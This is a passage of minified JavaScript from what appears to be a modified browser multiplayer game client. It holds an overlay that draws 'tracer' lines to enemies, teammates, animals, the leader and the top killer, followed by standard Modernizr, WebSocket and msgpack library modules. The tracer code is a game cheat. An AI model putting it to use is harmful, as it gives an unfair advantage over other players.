5033 be.textAlign = "center",
5034 be.fillStyle = "#0017FF",
5035 be.font = "20px Hammersmith One",
5036 be.strokeStyle = "black",
5037 be.lineWidth = coord,
5038 be.strokeText(cord1234 ,_.x - f,_.y - d + _.scale + o.nameY+(coord1)),
5039 be.fillText(cord1234 ,_.x - f,_.y - d + _.scale + o.nameY+(coord1))
5040 };
5041 if(R) {
5042 // be.textAlign = "center",
5043 // be.fillStyle = "#cc5500",
5044 // be.font = "20px Hammersmith One",
5045 // be.strokeStyle = "black",
5046 // be.lineWidth = 6,
5047 // be.strokeText(info121 ,_.x - f,_.y - d + _.scale + o.nameY+(86)),
5048 // be.fillText(info121 ,_.x - f,_.y - d + _.scale + o.nameY+(86))
5049 };
5050 if(_.isPlayer&&_!=R&&_.team&&_.team==R.team){//tribe tracers
5051 be.lineCap = "round";
5052 be.strokeStyle = clancolor;
5053 be.lineWidth = radarclan;
5054 be.beginPath();
5055 be.moveTo(R.x-f, R.y-d);
5056 be.lineTo(_.x-f, _.y-d);
5057 be.stroke();
5058 be.strokeStyle = nt;
5059 }
5060 if(_.isPlayer&&_!=R&&(_.team!=R.team||!_.team)){//enemy tracers
5061 be.lineCap = "round";
5062 be.strokeStyle = EnemyTracer;
5063 be.lineWidth = radarenemy;
5064 be.beginPath();
5065 be.moveTo(R.x-f, R.y-d);
5066 be.lineTo(_.x-f, _.y-d);
5067 be.stroke();
5068 be.strokeStyle = nt;
5069 }
5070 if(!_.isPlayer){//animal tracers
5071 be.lineCap = "round";
5072 be.strokeStyle = animalcolor;
5073 be.lineWidth = radaranimal;
5074 be.beginPath();
5075 be.moveTo(R.x-f, R.y-d);
5076 be.lineTo(_.x-f, _.y-d);
5077 be.stroke();
5078 be.strokeStyle = nt;
5079 }
5080 if(_.isPlayer&&_.isLeader){//leader tracers
5081 be.lineCap = "round";
5082 be.strokeStyle = leadercolor;
5083 be.lineWidth = radarleader;
5084 be.beginPath();
5085 be.moveTo(R.x-f, R.y-d);
5086 be.lineTo(_.x-f, _.y-d);
5087 be.stroke();
5088 be.strokeStyle = nt;
5089 }
5090 if(_.isPlayer&&_.skull){//best killer tracers
5091 be.lineCap = "round";
5092 be.strokeStyle = killercolor;
5093 be.lineWidth = radartopkiller;
5094 be.beginPath();
5095 be.moveTo(R.x-f, R.y-d);
5096 be.lineTo(_.x-f, _.y-d);
5097 be.stroke();
5098 be.strokeStyle = nt;
5099 }
5100 if(_!=R&&_.isPlayer) {
5101 be.font = (_.nameScale || 25) + "px Hammersmith One",
5102 be.fillStyle = "#fff",
5103 be.textBaseline = "middle",
5104 be.textAlign = "center",
5105 be.lineWidth = _.nameScale ? 11 : 8,
5106 be.lineJoin = "round",
5107 be.strokeStyle = "black",
5108 be.strokeText(_.name ,(R.x-f + _.x-f)/2,(R.y-d +_.y-d)/2),
5109 be.fillText(_.name ,(R.x-f + _.x-f)/2,(R.y-d +_.y-d)/2)
5110 }
5111 _.health > 0 && (o.healthBarWidth, be.fillStyle = rt, be.roundRect(_.x - f - o.healthBarWidth - o.healthBarPad, _.y - d + _.scale + o.nameY, 2 * o.healthBarWidth + 2 * o.healthBarPad, 17, 8), be.fill(), be.fillStyle = _ == R || _.team && _.team == R.team ? Healthbarcolor : Healthbarcolor2, be.roundRect(_.x - f - o.healthBarWidth, _.y - d + _.scale + o.nameY + o.healthBarPad, 2 * o.healthBarWidth * (_.health / _.maxHealth), 17 - 2 * o.healthBarPad, 7), be.fill())
5112 } for (m.update(P, be, f, d), a = 0; a < W.length; ++a)
5113 if ((_ = W[a]).visible && _.chatCountdown > 0) {
5114 _.chatCountdown -= P, _.chatCountdown <= 0 && (_.chatCountdown = 0), be.font = "32px Hammersmith One";
5115 var x = be.measureText(_.chatMessage);
5116 be.textBaseline = "middle", be.textAlign = "center", k = _.x - f, y = _.y - _.scale - d - 90;
5117 var S = x.width + 17;
5118 be.fillStyle = "rgba(0,0,0,0.2)", be.roundRect(k - S / 2, y - 23.5, S, 47, 6), be.fill(), be.fillStyle = "#fff", be.fillText(_.chatMessage, k, y)
5119 }!
5120 function (e) {
5121 if (R && R.alive) {
5122 Ke.clearRect(0, 0, Ne.width, Ne.height), Ke.strokeStyle = "#fff", Ke.lineWidth = 4;
5123 for (var t = 0; t < qt.length; ++t)(Vt = qt[t]).update(Ke, e);
5124 if (Ke.globalAlpha = 1, Ke.fillStyle = "#fff", si(R.x / o.mapScale * Ne.width, R.y / o.mapScale * Ne.height, 7, Ke, !0), Ke.fillStyle = "rgba(255,255,255,0.35)", R.team && Et)
5125 for (t = 0; t < Et.length;) si(Et[t] / o.mapScale * Ne.width, Et[t + 1] / o.mapScale * Ne.height, 7, Ke, !0), t += 2;
5126 It && (Ke.fillStyle = "#fc5553", Ke.font = "34px Hammersmith One", Ke.textBaseline = "middle", Ke.textAlign = "center", Ke.fillText("x", It.x / o.mapScale * Ne.width, It.y / o.mapScale * Ne.height)), Mt && (Ke.fillStyle = "#fff", Ke.font = "34px Hammersmith One", Ke.textBaseline = "middle", Ke.textAlign = "center", Ke.fillText("x", Mt.x / o.mapScale * Ne.width, Mt.y / o.mapScale * Ne.height))
5127 }
5128 }(P), -1 !== re.id && Fn(re.startX, re.startY, re.currentX, re.currentY), -1 !== se.id && Fn(se.startX, se.startY, se.currentX, se.currentY)
5129 }(), requestAnimFrame(e)
5130 }(), window.openLink = Oi, window.aJoinReq = Dt, window.follmoo = function () {
5131 H || (H = !0, I("moofoll", 1))
5132 }, window.kickFromClan = Lt, window.sendJoin = Ft, window.leaveAlliance = Ht, window.createAlliance = zt, window.storeBuy = Kt, window.storeEquip = Jt, window.showItemInfo = Tt, window.selectSkinColor = function (e) {
5133 ae = e, en()
5134 }, window.changeStoreIndex = function (e) {
5135 Xt != e && (Xt = e, Gt())
5136 }, window.config = o
5137}, function (e, t) {
5138 ! function (e, t, n) {
5139 function i(e, t) {
5140 return typeof e === t
5141 }
5142 var r = [],
5143 s = [],
5144 a = {
5145 _version: "3.5.0",
5146 _config: {
5147 classPrefix: "",
5148 enableClasses: !0,
5149 enableJSClass: !0,
5150 usePrefixes: !0
5151 },
5152 _q: [],
5153 on: function (e, t) {
5154 var n = this;
5155 setTimeout((function () {
5156 t(n[e])
5157 }), 0)
5158 },
5159 addTest: function (e, t, n) {
5160 s.push({
5161 name: e,
5162 fn: t,
5163 options: n
5164 })
5165 },
5166 addAsyncTest: function (e) {
5167 s.push({
5168 name: null,
5169 fn: e
5170 })
5171 }
5172 },
5173 o = function () {};
5174 o.prototype = a, o = new o;
5175 var c = t.documentElement,
5176 l = "svg" === c.nodeName.toLowerCase();
5177 o.addTest("passiveeventlisteners", (function () {
5178 var t = !1;
5179 try {
5180 var n = Object.defineProperty({}, "passive", {
5181 get: function () {
5182 t = !0
5183 }
5184 });
5185 e.addEventListener("test", null, n)
5186 } catch (e) {}
5187 return t
5188 })),
5189 function () {
5190 var e, t, n, a, c, l;
5191 for (var h in s)
5192 if (s.hasOwnProperty(h)) {
5193 if (e = [], (t = s[h]).name && (e.push(t.name.toLowerCase()), t.options && t.options.aliases && t.options.aliases.length))
5194 for (n = 0; n < t.options.aliases.length; n++) e.push(t.options.aliases[n].toLowerCase());
5195 for (a = i(t.fn, "function") ? t.fn() : t.fn, c = 0; c < e.length; c++) 1 === (l = e[c].split(".")).length ? o[l[0]] = a : (!o[l[0]] || o[l[0]] instanceof Boolean || (o[l[0]] = new Boolean(o[l[0]])), o[l[0]][l[1]] = a), r.push((a ? "" : "no-") + l.join("-"))
5196 }
5197 }(),
5198 function (e) {
5199 var t = c.className,
5200 n = o._config.classPrefix || "";
5201 if (l && (t = t.baseVal), o._config.enableJSClass) {
5202 var i = new RegExp("(^|\\s)" + n + "no-js(\\s|$)");
5203 t = t.replace(i, "$1" + n + "js$2")
5204 }
5205 o._config.enableClasses && (t += " " + n + e.join(" " + n), l ? c.className.baseVal = t : c.className = t)
5206 }(r), delete a.addTest, delete a.addAsyncTest;
5207 for (var h = 0; h < o._q.length; h++) o._q[h]();
5208 e.Modernizr = o
5209 }(window, document)
5210}, function (e, t, n) {
5211 var i = n(24);
5212 n(19), e.exports = {
5213 socket: null,
5214 connected: !1,
5215 socketId: -1,
5216 connect: function (e, t, n) {
5217 if (!this.socket) {
5218 var r = this;
5219 try {
5220 var s = !1,
5221 a = e;
5222 this.socket = new WebSocket(a), this.socket.binaryType = "arraybuffer", this.socket.onmessage = function (e) {
5223 var t = new Uint8Array(e.data),
5224 s = i.decode(t),
5225 a = s[0];
5226 t = s[1], "io-init" == a ? r.socketId = t[0] : n[a].apply(void 0, t)
5227 }, this.socket.onopen = function () {
5228 r.connected = !0, t()
5229 }, this.socket.onclose = function (e) {
5230 r.connected = !1, 4001 == e.code ? t("Invalid Connection") : s || t("disconnected")
5231 }, this.socket.onerror = function (e) {
5232 this.socket && this.socket.readyState != WebSocket.OPEN && (s = !0, console.error("Socket error", arguments), t("Socket error"))
5233 }
5234 } catch (e) {
5235 console.warn("Socket connection error:", e), t(e)
5236 }
5237 }
5238 },
5239 send: function (e) {
5240 var t = Array.prototype.slice.call(arguments, 1),
5241 n = i.encode([e, t]);
5242 this.socket.send(n)
5243 },
5244 socketReady: function () {
5245 return this.socket && this.connected
5246 },
5247 close: function () {
5248 this.socket && this.socket.close()
5249 }
5250 }
5251}, function (e, t, n) {
5252 t.encode = n(9).encode, t.decode = n(15).decode, t.Encoder = n(37).Encoder, t.Decoder = n(38).Decoder, t.createCodec = n(39).createCodec, t.codec = n(40).codec
5253}, function (e, t, n) {
5254 (function (t) {
5255 function n(e) {
5256 return e && e.isBuffer && e
5257 }
5258 e.exports = n(void 0 !== t && t) || n(this.Buffer) || n("undefined" != typeof window && window.Buffer) || this.Buffer
5259 }).call(this, n(11).Buffer)
5260}, function (e, t, n) {
5261 "use strict";
5262 t.byteLength = function (e) {
5263 var t = l(e),
5264 n = t[0],
5265 i = t[1];
5266 return 3 * (n + i) / 4 - i
5267 }, t.toByteArray = function (e) {
5268 var t, n, i = l(e),
5269 a = i[0],
5270 o = i[1],
5271 c = new s(function (e, t, n) {
5272 return 3 * (t + n) / 4 - n
5273 }(0, a, o)),
5274 h = 0,
5275 u = o > 0 ? a - 4 : a;
5276 for (n = 0; n < u; n += 4) t = r[e.charCodeAt(n)] << 18 | r[e.charCodeAt(n + 1)] << 12 | r[e.charCodeAt(n + 2)] << 6 | r[e.charCodeAt(n + 3)], c[h++] = t >> 16 & 255, c[h++] = t >> 8 & 255, c[h++] = 255 & t;
5277 return 2 === o && (t = r[e.charCodeAt(n)] << 2 | r[e.charCodeAt(n + 1)] >> 4, c[h++] = 255 & t), 1 === o && (t = r[e.charCodeAt(n)] << 10 | r[e.charCodeAt(n + 1)] << 4 | r[e.charCodeAt(n + 2)] >> 2, c[h++] = t >> 8 & 255, c[h++] = 255 & t), c
5278 }, t.fromByteArray = function (e) {
5279 for (var t, n = e.length, r = n % 3, s = [], a = 0, o = n - r; a < o; a += 16383) s.push(u(e, a, a + 16383 > o ? o : a + 16383));
5280 return 1 === r ? (t = e[n - 1], s.push(i[t >> 2] + i[t << 4 & 63] + "==")) : 2 === r && (t = (e[n - 2] << 8) + e[n - 1], s.push(i[t >> 10] + i[t >> 4 & 63] + i[t << 2 & 63] + "=")), s.join("")
5281 };
5282 for (var i = [], r = [], s = "undefined" != typeof Uint8Array ? Uint8Array : Array, a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", o = 0, c = a.length; o < c; ++o) i[o] = a[o], r[a.charCodeAt(o)] = o;
5283
5284 function l(e) {
5285 var t = e.length;
5286 if (t % 4 > 0) throw new Error("Invalid string. Length must be a multiple of 4");
5287 var n = e.indexOf("=");
5288 return -1 === n && (n = t), [n, n === t ? 0 : 4 - n % 4]
5289 }
5290
5291 function h(e) {
5292 return i[e >> 18 & 63] + i[e >> 12 & 63] + i[e >> 6 & 63] + i[63 & e]
5293 }
5294
5295 function u(e, t, n) {
5296 for (var i, r = [], s = t; s < n; s += 3) i = (e[s] << 16 & 16711680) + (e[s + 1] << 8 & 65280) + (255 & e[s + 2]), r.push(h(i));
5297 return r.join("")
5298 }
5299 r["-".charCodeAt(0)] = 62, r["_".charCodeAt(0)] = 63
5300}, function (e, t) {
5301 var n = {}.toString;
5302 e.exports = Array.isArray || function (e) {
5303 return "[object Array]" == n.call(e)
5304 }
5305}, function (e, t, n) {
5306 var i = n(0);
5307
5308 function r(e) {
5309 return new Array(e)
5310 }(t = e.exports = r(0)).alloc = r, t.concat = i.concat, t.from = function (e) {
5311 if (!i.isBuffer(e) && i.isView(e)) e = i.Uint8Array.from(e);
5312 else if (i.isArrayBuffer(e)) e = new Uint8Array(e);
5313 else {
5314 if ("string" == typeof e) return i.from.call(t, e);
5315 if ("number" == typeof e) throw new TypeError('"value" argument must not be a number')
5316 }
5317 return Array.prototype.slice.call(e)
5318 }
5319}, function (e, t, n) {
5320 var i = n(0),
5321 r = i.global;
5322
5323 function s(e) {
5324 return new r(e)
5325 }(t = e.exports = i.hasBuffer ? s(0) : []).alloc = i.hasBuffer && r.alloc || s, t.concat = i.concat, t.from = function (e) {
5326 if (!i.isBuffer(e) && i.isView(e)) e = i.Uint8Array.from(e);
5327 else if (i.isArrayBuffer(e)) e = new Uint8Array(e);
5328 else {
5329 if ("string" == typeof e) return i.from.call(t, e);
5330 if ("number" == typeof e) throw new TypeError('"value" argument must not be a number')
5331 }
5332 return r.from && 1 !== r.from.length ? r.from(e) : new r(e)
5333 }
5334}, function (e, t, n) {
5335 var i = n(0);
5336
5337 function r(e) {
5338 return new Uint8Array(e)
5339 }(t = e.exports = i.hasArrayBuffer ? r(0) : []).alloc = r, t.concat = i.concat, t.from = function (e) {
5340 if (i.isView(e)) {
5341 var n = e.byteOffset,
5342 r = e.byteLength;
5343 (e = e.buffer).byteLength !== r && (e.slice ? e = e.slice(n, n + r) : (e = new Uint8Array(e)).byteLength !== r && (e = Array.prototype.slice.call(e, n, n + r)))
5344 } else {
5345 if ("string" == typeof e) return i.from.call(t, e);
5346 if ("number" == typeof e) throw new TypeError('"value" argument must not be a number')
5347 }
5348 return new Uint8Array(e)
5349 }
5350}, function (e, t) {
5351 t.copy = function (e, t, n, i) {
5352 var r;
5353 n || (n = 0), i || 0 === i || (i = this.length), t || (t = 0);
5354 var s = i - n;
5355 if (e === this && n < t && t < i)
5356 for (r = s - 1; r >= 0; r--) e[r + t] = this[r + n];
5357 else
5358 for (r = 0; r < s; r++) e[r + t] = this[r + n];
5359 return s
5360 }, t.toString = function (e, t, n) {
5361 var i = 0 | t;
5362 n || (n = this.length);
5363 for (var r = "", s = 0; i < n;)(s = this[i++]) < 128 ? r += String.fromCharCode(s) : (192 == (224 & s) ? s = (31 & s) << 6 | 63 & this[i++] : 224 == (240 & s) ? s = (15 & s) << 12 | (63 & this[i++]) << 6 | 63 & this[i++] : 240 == (248 & s) && (s = (7 & s) << 18 | (63 & this[i++]) << 12 | (63 & this[i++]) << 6 | 63 & this[i++]), s >= 65536 ? (s -= 65536, r += String.fromCharCode(55296 + (s >>> 10), 56320 + (1023 & s))) : r += String.fromCharCode(s));
5364 return r
5365 }, t.write = function (e, t) {
5366 for (var n = t || (t |= 0), i = e.length, r = 0, s = 0; s < i;)(r = e.charCodeAt(s++)) < 128 ? this[n++] = r : r < 2048 ? (this[n++] = 192 | r >>> 6, this[n++] = 128 | 63 & r) : r < 55296 || r > 57343 ? (this[n++] = 224 | r >>> 12, this[n++] = 128 | r >>> 6 & 63, this[n++] = 128 | 63 & r) : (r = 65536 + (r - 55296 << 10 | e.charCodeAt(s++) - 56320), this[n++] = 240 | r >>> 18, this[n++] = 128 | r >>> 12 & 63, this[n++] = 128 | r >>> 6 & 63, this[n++] = 128 | 63 & r);
5367 return n - t
5368 }
5369}, function (e, t, n) {
5370 t.setExtPackers = function (e) {
5371 e.addExtPacker(14, Error, [u, c]), e.addExtPacker(1, EvalError, [u, c]), e.addExtPacker(2, RangeError, [u, c]), e.addExtPacker(3, ReferenceError, [u, c]), e.addExtPacker(4, SyntaxError, [u, c]), e.addExtPacker(5, TypeError, [u, c]), e.addExtPacker(6, URIError, [u, c]), e.addExtPacker(10, RegExp, [h, c]), e.addExtPacker(11, Boolean, [l, c]), e.addExtPacker(12, String, [l, c]), e.addExtPacker(13, Date, [Number, c]), e.addExtPacker(15, Number, [l, c]), "undefined" != typeof Uint8Array && (e.addExtPacker(17, Int8Array, a), e.addExtPacker(18, Uint8Array, a), e.addExtPacker(19, Int16Array, a), e.addExtPacker(20, Uint16Array, a), e.addExtPacker(21, Int32Array, a), e.addExtPacker(22, Uint32Array, a), e.addExtPacker(23, Float32Array, a), "undefined" != typeof Float64Array && e.addExtPacker(24, Float64Array, a), "undefined" != typeof Uint8ClampedArray && e.addExtPacker(25, Uint8ClampedArray, a), e.addExtPacker(26, ArrayBuffer, a), e.addExtPacker(29, DataView, a)), r.hasBuffer && e.addExtPacker(27, s, r.from)
5372 };
5373 var i, r = n(0),
5374 s = r.global,
5375 a = r.Uint8Array.from,
5376 o = {
5377 name: 1,
5378 message: 1,
5379 stack: 1,
5380 columnNumber: 1,
5381 fileName: 1,
5382 lineNumber: 1
5383 };
5384
5385 function c(e) {
5386 return i || (i = n(9).encode), i(e)
5387 }
5388
5389 function l(e) {
5390 return e.valueOf()
5391 }
5392
5393 function h(e) {
5394 (e = RegExp.prototype.toString.call(e).split("/")).shift();
5395 var t = [e.pop()];
5396 return t.unshift(e.join("/")), t
5397 }
5398
5399 function u(e) {
5400 var t = {};
5401 for (var n in o) t[n] = e[n];
5402 return t
5403 }
5404}, function (e, t, n) {
5405 var i = n(5),
5406 r = n(7),
5407 s = r.Uint64BE,
5408 a = r.Int64BE,
5409 o = n(0),
5410 c = n(6),
5411 l = n(34),
5412 h = n(13).uint8,
5413 u = n(3).ExtBuffer,
5414 f = "undefined" != typeof Uint8Array,
5415 d = "undefined" != typeof Map,
5416 p = [];
5417 p[1] = 212, p[2] = 213, p[4] = 214, p[8] = 215, p[16] = 216, t.getWriteType = function (e) {
5418 var t = l.getWriteToken(e),
5419 n = e && e.useraw,
5420 r = f && e && e.binarraybuffer,
5421 g = r ? o.isArrayBuffer : o.isBuffer,
5422 m = r ? function (e, t) {
5423 w(e, new Uint8Array(t))
5424 } : w,
5425 y = d && e && e.usemap ? function (e, n) {
5426 if (!(n instanceof Map)) return b(e, n);
5427 var i = n.size;
5428 t[i < 16 ? 128 + i : i <= 65535 ? 222 : 223](e, i);
5429 var r = e.codec.encode;
5430 n.forEach((function (t, n, i) {
5431 r(e, n), r(e, t)
5432 }))
5433 } : b;
5434 return {
5435 boolean: function (e, n) {
5436 t[n ? 195 : 194](e, n)
5437 },
5438 function: v,
5439 number: function (e, n) {
5440 var i = 0 | n;
5441 n === i ? t[-32 <= i && i <= 127 ? 255 & i : 0 <= i ? i <= 255 ? 204 : i <= 65535 ? 205 : 206 : -128 <= i ? 208 : -32768 <= i ? 209 : 210](e, i) : t[203](e, n)
5442 },
5443 object: n ? function (e, n) {
5444 if (g(n)) return function (e, n) {
5445 var i = n.length;
5446 t[i < 32 ? 160 + i : i <= 65535 ? 218 : 219](e, i), e.send(n)
5447 }(e, n);
5448 k(e, n)
5449 } : k,
5450 string: function (e) {
5451 return function (n, i) {
5452 var r = i.length,
5453 s = 5 + 3 * r;
5454 n.offset = n.reserve(s);
5455 var a = n.buffer,
5456 o = e(r),
5457 l = n.offset + o;
5458 r = c.write.call(a, i, l);
5459 var h = e(r);
5460 if (o !== h) {
5461 var u = l + h - o,
5462 f = l + r;
5463 c.copy.call(a, a, u, l, f)
5464 }
5465 t[1 === h ? 160 + r : h <= 3 ? 215 + h : 219](n, r), n.offset += r
5466 }
5467 }(n ? function (e) {
5468 return e < 32 ? 1 : e <= 65535 ? 3 : 5
5469 } : function (e) {
5470 return e < 32 ? 1 : e <= 255 ? 2 : e <= 65535 ? 3 : 5
5471 }),
5472 symbol: v,
5473 undefined: v
5474 };
5475
5476 function k(e, n) {
5477 if (null === n) return v(e, n);
5478 if (g(n)) return m(e, n);
5479 if (i(n)) return function (e, n) {
5480 var i = n.length;
5481 t[i < 16 ? 144 + i : i <= 65535 ? 220 : 221](e, i);
5482 for (var r = e.codec.encode, s = 0; s < i; s++) r(e, n[s])
5483 }(e, n);
5484 if (s.isUint64BE(n)) return function (e, n) {
5485 t[207](e, n.toArray())
5486 }(e, n);
5487 if (a.isInt64BE(n)) return function (e, n) {
5488 t[211](e, n.toArray())
5489 }(e, n);
5490 var r = e.codec.getExtPacker(n);
5491 if (r && (n = r(n)), n instanceof u) return function (e, n) {
5492 var i = n.buffer,
5493 r = i.length,
5494 s = p[r] || (r < 255 ? 199 : r <= 65535 ? 200 : 201);
5495 t[s](e, r), h[n.type](e), e.send(i)
5496 }(e, n);
5497 y(e, n)
5498 }
5499
5500 function v(e, n) {
5501 t[192](e, n)
5502 }
5503
5504 function w(e, n) {
5505 var i = n.length;
5506 t[i < 255 ? 196 : i <= 65535 ? 197 : 198](e, i), e.send(n)
5507 }
5508
5509 function b(e, n) {
5510 var i = Object.keys(n),
5511 r = i.length;
5512 t[r < 16 ? 128 + r : r <= 65535 ? 222 : 223](e, r);
5513 var s = e.codec.encode;
5514 i.forEach((function (t) {
5515 s(e, t), s(e, n[t])
5516 }))
5517 }
5518 }
5519}, function (e, t, n) {
5520 var i = n(4),
5521 r = n(7),
5522 s = r.Uint64BE,
5523 a = r.Int64BE,
5524 o = n(13).uint8,
5525 c = n(0),
5526 l = c.global,
5527 h = c.hasBuffer && "TYPED_ARRAY_SUPPORT" in l && !l.TYPED_ARRAY_SUPPORT,
5528 u = c.hasBuffer && l.prototype || {};
5529
5530 function f() {
5531 var e = o.slice();
5532 return e[196] = d(196), e[197] = p(197), e[198] = g(198), e[199] = d(199), e[200] = p(200), e[201] = g(201), e[202] = m(202, 4, u.writeFloatBE || v, !0), e[203] = m(203, 8, u.writeDoubleBE || w, !0), e[204] = d(204), e[205] = p(205), e[206] = g(206), e[207] = m(207, 8, y), e[208] = d(208), e[209] = p(209), e[210] = g(210), e[211] = m(211, 8, k), e[217] = d(217), e[218] = p(218), e[219] = g(219), e[220] = p(220), e[221] = g(221), e[222] = p(222), e[223] = g(223), e
5533 }
5534
5535 function d(e) {
5536 return function (t, n) {
5537 var i = t.reserve(2),
5538 r = t.buffer;
5539 r[i++] = e, r[i] = n
5540 }
5541 }
5542
5543 function p(e) {
5544 return function (t, n) {
5545 var i = t.reserve(3),
5546 r = t.buffer;
5547 r[i++] = e, r[i++] = n >>> 8, r[i] = n
5548 }
5549 }
5550
5551 function g(e) {
5552 return function (t, n) {
5553 var i = t.reserve(5),
5554 r = t.buffer;
5555 r[i++] = e, r[i++] = n >>> 24, r[i++] = n >>> 16, r[i++] = n >>> 8, r[i] = n
5556 }
5557 }
5558
5559 function m(e, t, n, i) {
5560 return function (r, s) {
5561 var a = r.reserve(t + 1);
5562 r.buffer[a++] = e, n.call(r.buffer, s, a, i)
5563 }
5564 }
5565
5566 function y(e, t) {
5567 new s(this, t, e)
5568 }
5569
5570 function k(e, t) {
5571 new a(this, t, e)
5572 }
5573
5574 function v(e, t) {
5575 i.write(this, e, t, !1, 23, 4)
5576 }
5577
5578 function w(e, t) {
5579 i.write(this, e, t, !1, 52, 8)
5580 }
5581 t.getWriteToken = function (e) {
5582 return e && e.uint8array ? function () {
5583 var e = f();
5584 return e[202] = m(202, 4, v), e[203] = m(203, 8, w), e
5585 }() : h || c.hasBuffer && e && e.safe ? function () {
5586 var e = o.slice();
5587 return e[196] = m(196, 1, l.prototype.writeUInt8), e[197] = m(197, 2, l.prototype.writeUInt16BE), e[198] = m(198, 4, l.prototype.writeUInt32BE), e[199] = m(199, 1, l.prototype.writeUInt8), e[200] = m(200, 2, l.prototype.writeUInt16BE), e[201] = m(201, 4, l.prototype.writeUInt32BE), e[202] = m(202, 4, l.prototype.writeFloatBE), e[203] = m(203, 8, l.prototype.writeDoubleBE), e[204] = m(204, 1, l.prototype.writeUInt8), e[205] = m(205, 2, l.prototype.writeUInt16BE), e[206] = m(206, 4, l.prototype.writeUInt32BE), e[207] = m(207, 8, y), e[208] = m(208, 1, l.prototype.writeInt8), e[209] = m(209, 2, l.prototype.writeInt16BE), e[210] = m(210, 4, l.prototype.writeInt32BE), e[211] = m(211, 8, k), e[217] = m(217, 1, l.prototype.writeUInt8), e[218] = m(218, 2, l.prototype.writeUInt16BE), e[219] = m(219, 4, l.prototype.writeUInt32BE), e[220] = m(220, 2, l.prototype.writeUInt16BE), e[221] = m(221, 4, l.prototype.writeUInt32BE), e[222] = m(222, 2, l.prototype.writeUInt16BE), e[223] = m(223, 4, l.prototype.writeUInt32BE), e
5588 }() : f()
5589 }
5590}, function (e, t, n) {
5591 t.setExtUnpackers = function (e) {
5592 e.addExtUnpacker(14, [o, l(Error)]), e.addExtUnpacker(1, [o, l(EvalError)]), e.addExtUnpacker(2, [o, l(RangeError)]), e.addExtUnpacker(3, [o, l(ReferenceError)]), e.addExtUnpacker(4, [o, l(SyntaxError)]), e.addExtUnpacker(5, [o, l(TypeError)]), e.addExtUnpacker(6, [o, l(URIError)]), e.addExtUnpacker(10, [o, c]), e.addExtUnpacker(11, [o, h(Boolean)]), e.addExtUnpacker(12, [o, h(String)]), e.addExtUnpacker(13, [o, h(Date)]), e.addExtUnpacker(15, [o, h(Number)]), "undefined" != typeof Uint8Array && (e.addExtUnpacker(17, h(Int8Array)), e.addExtUnpacker(18, h(Uint8Array)), e.addExtUnpacker(19, [u, h(Int16Array)]), e.addExtUnpacker(20, [u, h(Uint16Array)]), e.addExtUnpacker(21, [u, h(Int32Array)]), e.addExtUnpacker(22, [u, h(Uint32Array)]), e.addExtUnpacker(23, [u, h(Float32Array)]), "undefined" != typeof Float64Array && e.addExtUnpacker(24, [u, h(Float64Array)]), "undefined" != typeof Uint8ClampedArray && e.addExtUnpacker(25, h(Uint8ClampedArray)), e.addExtUnpacker(26, u), e.addExtUnpacker(29, [u, h(DataView)])), r.hasBuffer && e.addExtUnpacker(27, h(s))
5593 };
5594 var i, r = n(0),
5595 s = r.global,
5596 a = {
5597 name: 1,
5598 message: 1,
5599 stack: 1,
5600 columnNumber: 1,
5601 fileName: 1,
5602 lineNumber: 1
5603 };
5604
5605 function o(e) {
5606 return i || (i = n(15).decode), i(e)
5607 }
5608
5609 function c(e) {
5610 return RegExp.apply(null, e)
5611 }
5612
5613 function l(e) {
5614 return function (t) {
5615 var n = new e;
5616 for (var i in a) n[i] = t[i];
5617 return n
5618 }
5619 }
5620
5621 function h(e) {
5622 return function (t) {
5623 return new e(t)
5624 }
5625 }
5626
5627 function u(e) {
5628 return new Uint8Array(e).buffer
5629 }
5630}, function (e, t, n) {
5631 var i = n(17);
5632
5633 function r(e) {
5634 var t, n = new Array(256);
5635 for (t = 0; t <= 127; t++) n[t] = s(t);
5636 for (t = 128; t <= 143; t++) n[t] = o(t - 128, e.map);
5637 for (t = 144; t <= 159; t++) n[t] = o(t - 144, e.array);
5638 for (t = 160; t <= 191; t++) n[t] = o(t - 160, e.str);
5639 for (n[192] = s(null), n[193] = null, n[194] = s(!1), n[195] = s(!0), n[196] = a(e.uint8, e.bin), n[197] = a(e.uint16, e.bin), n[198] = a(e.uint32, e.bin), n[199] = a(e.uint8, e.ext), n[200] = a(e.uint16, e.ext), n[201] = a(e.uint32, e.ext), n[202] = e.float32, n[203] = e.float64, n[204] = e.uint8, n[205] = e.uint16, n[206] = e.uint32, n[207] = e.uint64, n[208] = e.int8, n[209] = e.int16, n[210] = e.int32, n[211] = e.int64, n[212] = o(1, e.ext), n[213] = o(2, e.ext), n[214] = o(4, e.ext), n[215] = o(8, e.ext), n[216] = o(16, e.ext), n[217] = a(e.uint8, e.str), n[218] = a(e.uint16, e.str), n[219] = a(e.uint32, e.str), n[220] = a(e.uint16, e.array), n[221] = a(e.uint32, e.array), n[222] = a(e.uint16, e.map), n[223] = a(e.uint32, e.map), t = 224; t <= 255; t++) n[t] = s(t - 256);
5640 return n
5641 }
5642
5643 function s(e) {
5644 return function () {
5645 return e
5646 }
5647 }
5648
5649 function a(e, t) {
5650 return function (n) {
5651 var i = e(n);
5652 return t(n, i)
5653 }
5654 }
5655
5656 function o(e, t) {
5657 return function (n) {
5658 return t(n, e)
5659 }
5660 }
5661 t.getReadToken = function (e) {
5662 var t = i.getReadFormat(e);
5663 return e && e.useraw ? function (e) {
5664 var t, n = r(e).slice();
5665 for (n[217] = n[196], n[218] = n[197], n[219] = n[198], t = 160; t <= 191; t++) n[t] = o(t - 160, e.bin);
5666 return n
5667 }(t) : r(t)
5668 }
5669}, function (e, t, n) {
5670 t.Encoder = s;
5671 var i = n(18),
5672 r = n(10).EncodeBuffer;
5673
5674 function s(e) {
5675 if (!(this instanceof s)) return new s(e);
5676 r.call(this, e)
5677 }
5678 s.prototype = new r, i.mixin(s.prototype), s.prototype.encode = function (e) {
5679 this.write(e), this.emit("data", this.read())
5680 }, s.prototype.end = function (e) {
5681 arguments.length && this.encode(e), this.flush(), this.emit("end")
5682 }
5683}, function (e, t, n) {
5684 t.Decoder = s;
5685 var i = n(18),
5686 r = n(16).DecodeBuffer;
5687
5688 function s(e) {
5689 if (!(this instanceof s)) return new s(e);
5690 r.call(this, e)
5691 }
5692 s.prototype = new r, i.mixin(s.prototype), s.prototype.decode = function (e) {
5693 arguments.length && this.write(e), this.flush()
5694 }, s.prototype.push = function (e) {
5695 this.emit("data", e)
5696 }, s.prototype.end = function (e) {
5697 this.decode(e), this.emit("end")
5698 }
5699}, function (e, t, n) {
5700 n(8), n(2), t.createCodec = n(1).createCodec
5701}, function (e, t, n) {
